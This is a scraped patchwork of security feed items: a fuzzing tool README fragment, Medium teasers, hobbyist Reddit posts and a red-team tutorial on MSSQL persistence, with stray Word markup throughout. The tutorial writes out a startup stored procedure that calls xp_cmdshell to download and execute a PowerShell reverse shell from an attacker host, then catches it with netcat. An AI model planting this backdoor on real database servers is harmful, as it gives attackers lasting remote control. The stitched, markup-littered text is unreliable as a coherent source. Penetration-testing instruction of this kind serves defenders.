try to come up with a fix. Also, if you have any ideas on any new features or how to implement performance upgrades or the current planned features, please create a pull request or an issue with the tag (contribution).

PSA

This tool generates some false positives. Please first analyze the crashes and see if it is valid bug or if it is just an implementation bug. Also, you can enable the debug mode if some functions are not compiling. This will help you understand if there are some header files that you are missing or any linkage issues. If the project you are working on does not have shared libraries but an executable, make sure to compile the executable in PIE form so that this program can convert it into a shared library.

References

1. https://lief.quarkslab.com/doc/latest/tutorials/08_elf_bin2lib.html



Download Autoharness

Hacking on Medium
Guía Buffer Overflow OSCP. [ESP]


Pasos a seguir:

Continue reading on Medium »

Hacking on Medium
TryHackMe Write-up: VulnNet Active.


Dificultad: Media

Continue reading on Medium »

Deep Web
Anybody know of any actual magic???

I’m talking about something legit. You should be able to conjure things such as a lightning in the palm of your hand etc… The real seekers of truth and knowledge that is vast without a end to any of it. Most likely won’t get anything real or feasible here since this is Reddit but then again why not. So respond.

submitted by /u/PresentOpportunity12
[link] [comments]

Deep Web
How to safely browse using tor?

So yesterday got tor for windows 10, first thing I did was change the security setting to safest, if that does anything I don’t know. I poked around a few sites and decided to close it out. Some people say you should use a vpn, some say tor encrypts everything so a vpn is almost useless. Which is true? Any other tips to stay safe? (Besides the obvious ones like use common sense and don’t commit crime)

submitted by /u/Just_A_Throw_Away000
[link] [comments]

intigriti Challenge 0921 by Bug Emir & Pepijn van der Stap

Yet another awesome XSS challenge from Intigriti. By solving the challenge learned cool stuff about DOM-based XSS, hope you will enjoy…Continue reading on Medium »
Read more...

hacking: security in practice
I think my cars microphone is tapped

So recently a lot of shit has happend in my life, now without going into details i need a device that can check if microphones are tapped or any in that matter, anyone willing to help would be appreciated

submitted by /u/MrDrako11
[link] [comments]

hacking: security in practice
Amazon machine learning page

I am new to hacking but I was searching around for Amazon algyrithm info, and I found this, I don't if it's cool but I'm kinda proud of finding it, I was dorking it's all legal they leaked I just found.

submitted by /u/rickrollsation
[link] [comments]

hacking: security in practice
New to coding/hacking

I’m on windows, I know it’s far from even being good, so what should I use to begin my journey?

submitted by /u/Bocaj728
[link] [comments]

hacking: security in practice
Buffer Overflows: How is whatever I overwrite into the memory addresses between the new ESP, and my shellcode, when using "\x83\xec\x10" to move ESP to a safe place to execute GetPC, interpreted?

Hi all,

So I went through Justin Steven's 'dostackbufferoverflowgood' tutorial (it is very good I would recommend it!) and have this question.

In the tutorial we write "A"'s over the memory addresses that are between the new ESP and the shellcode after "\x83\xec\x10" is carried out.

Does "\x83\xec\x10" overwrite these memory addresses? I seem to remember from the few assembly language courses I did that it doesn't.

So, are the "A"'s that I assume are left just ignored? What exactly happens here?

Hopefully this isn't a stupid question. If my question reveals my ignorance on this please enlighten me! Thanks

submitted by /u/WhichKey9
[link] [comments]

hacking: security in practice
Hardware hacking gone wrong. Almost defibrillated myself disassembling this Medtronic pacemaker + defibrillator. 700 volts! Under recall, btw.

https://external-preview.redd.it/TOfFqEmGFbzB9YMzyHvClLf3HvPK0lxMgp2LqAhWFd0.jpg?width=320&crop=smart&auto=webp&s=7abd189e5495764c29c8d0034d6ce7479605b9b5 submitted by /u/docker-osx
[link] [comments]

hacking: security in practice
Is there a way to get the IP from a phone number?

I got two texts from two different people i think on whatsapp, it's probably scam or something they only say hello I'm "name" and i didn't replied, the first one i just blocked and reported straight away since it called me princess and I'm a guy lmao.

I haven't given my number to anyone or posted anywhere in years so it's kind of odd that I'm receiving these texts.

If I'll keep getting these texts i just wanna know if they're from the same person or place

submitted by /u/Utinnni
[link] [comments]

Hacking on Medium
碎碎念隨筆（二）：pwn.college Interaction level 3


日期 2021/9/12 ~ 9/13

Continue reading on Medium »

intigriti Challenge 0921 by Bug Emir & Pepijn van der Stap
https://medium.com/@rahul.01.intigriti.me/intigriti-challenge-0921-by-bug-emir-pepijn-van-der-stap-f79a4a9b8692?source=rss------bug_bounty-5

Yet another awesome XSS challenge from Intigriti. By solving the challenge learned cool stuff about DOM-based XSS, hope you will enjoy…Continue reading on Medium » (https://medium.com/@rahul.01.intigriti.me/intigriti-challenge-0921-by-bug-emir-pepijn-van-der-stap-f79a4a9b8692?source=rss------bug_bounty-5)

Hacking Articles|Raj Chandel's BlogMSSQL for Pentester: Stored Procedures Persistence
In this article, we will learn one of many ways to gain persistence in SQL servers.  This article is an addition to our MSSQL for Pentesters series.

Gaining persistence is one of the significant steps when performing Red Team operations. And when performing such operations on MSSQL, there are possibilities to gain persistence with start-up stored procedures, triggers, and registry keys. If you have privileges of the correct user and database, then it is easy to achieve persistence. Persistence can be stealthier if the instance is running through a domain user. <o:p

When getting persistence via start-up stored procedures, the attacker must have sysadmin privileges. And another important thing is that this stored procedure should be in the master database. If sa does not own the stored procedures, they will not have input and output parameters, which means they will not be restarted with the server, which will beat the whole point of persistence. <o:p

So, let's get started and see how we will get persistence with start-up stored procedures. <o:p

Firstly, let's assume that xp_cmdshell is enabled, so now we will invoke the master database by using the following query:<o:p

USE master<o:p

GO<o:p

 






<v:shapetype<v:stroke<v:formulas<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:path<o:lock<v:shape<v:imagedata<o:p

Now we will download the script for PowerShell one-liner on our attacking machine with the help of wget, as shown in the image below:<o:p









<v:shape<v:imagedata<o:p

Now in the script, swap the given IP address with your localhost and local port with the help of the cat command. Once the IP address is switched, enable the python server to share the PowerShell script to the target machine as shown in the image below:<o:p









<v:shape<v:imagedata<o:p

Now let's create a stored procedure that will call upon the PowerShell script from the online python server and do so, use the following query:<o:p

CREATE PROCEDURE test_sp<o:p

AS<o:p

EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://192.168.1.2/Invoke-PowerShellTcpOneLine.ps1'')"'<o:p

GO<o:p

 






<v:shape<v:imagedata<o:p

We will now move this store procedure to the start-up because we want it to execute itself as soon as the server starts. And we shall do this with the help of the following query:<o:p

EXEC sp_procoption @ProcName = 'test_sp'<o:p

, @OptionName = 'startup'<o:p

, @OptionValue = 'on';<o:p








 





<v:shape<v:imagedata<o:p

Now we have our stored procedure in the start-up, which you can confirm using the following query:<o:p

SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;<o:p

 






<v:shape<v:imagedata<o:p

Let's turn on our Netcat listener, as shown in the image below:<o:p

 






<v:shape<v:imagedata<o:p

Now all that is left is to restart the server. And to restart the server, right-click on it and choose the stop option from the drop-down menu as shown in the image below:<o:p









<v:shape<v:imagedata<o:p

And then again, right-click on the server and choose the start option from the drop-down menu as shown in the image below:<o:p

 










<v:shape<v:imagedata<o:p

Once the server is restarted, you will have a session on netcat.<o:p









<v:shape<v:imagedata<o:p

So, this is how one gets persistence locally using start-up stored procedures. <o:p

Need hardware advice
https://www.reddit.com/r/redteamsec/comments/pn9ypf/need_hardware_advice/

<!-- SC_OFF -->This has become a burning passion in the last two months, it’s all i think about. Previous to that i rarely touched computers this is my question. What laptop do you recommend to be able to code, run virtual machines, analyzing malware, using software for brute forcing hashed pw using John, analyzing captured waves to deconstruct the signals into digital/binary, and other things that demanding and more? I don’t have a lot of money so i don’t want to buy and have regret and not be able to learn and explore the field of cybersecurity. I will hopefully be starting school in the next 6 months and would like a laptop that can run all that and if not that at least offers some ability to upgrade. Size is not a consideration. Thank you for anyone’s time who reads or answers <!-- SC_ON --> submitted by /u/Sad_Guest9682 (https://www.reddit.com/user/Sad_Guest9682)
[link] (https://www.reddit.com/r/redteamsec/comments/pn9ypf/need_hardware_advice/) [comments] (https://www.reddit.com/r/redteamsec/comments/pn9ypf/need_hardware_advice/)

WEB APPLICATION — BUSINESS LOGIC VULNERABILITIES

Buisness logic vulnerabilities are flaw in the design, implementation and concept of an application, that allow an attacker to evoke…Continue reading on Medium »
Read more...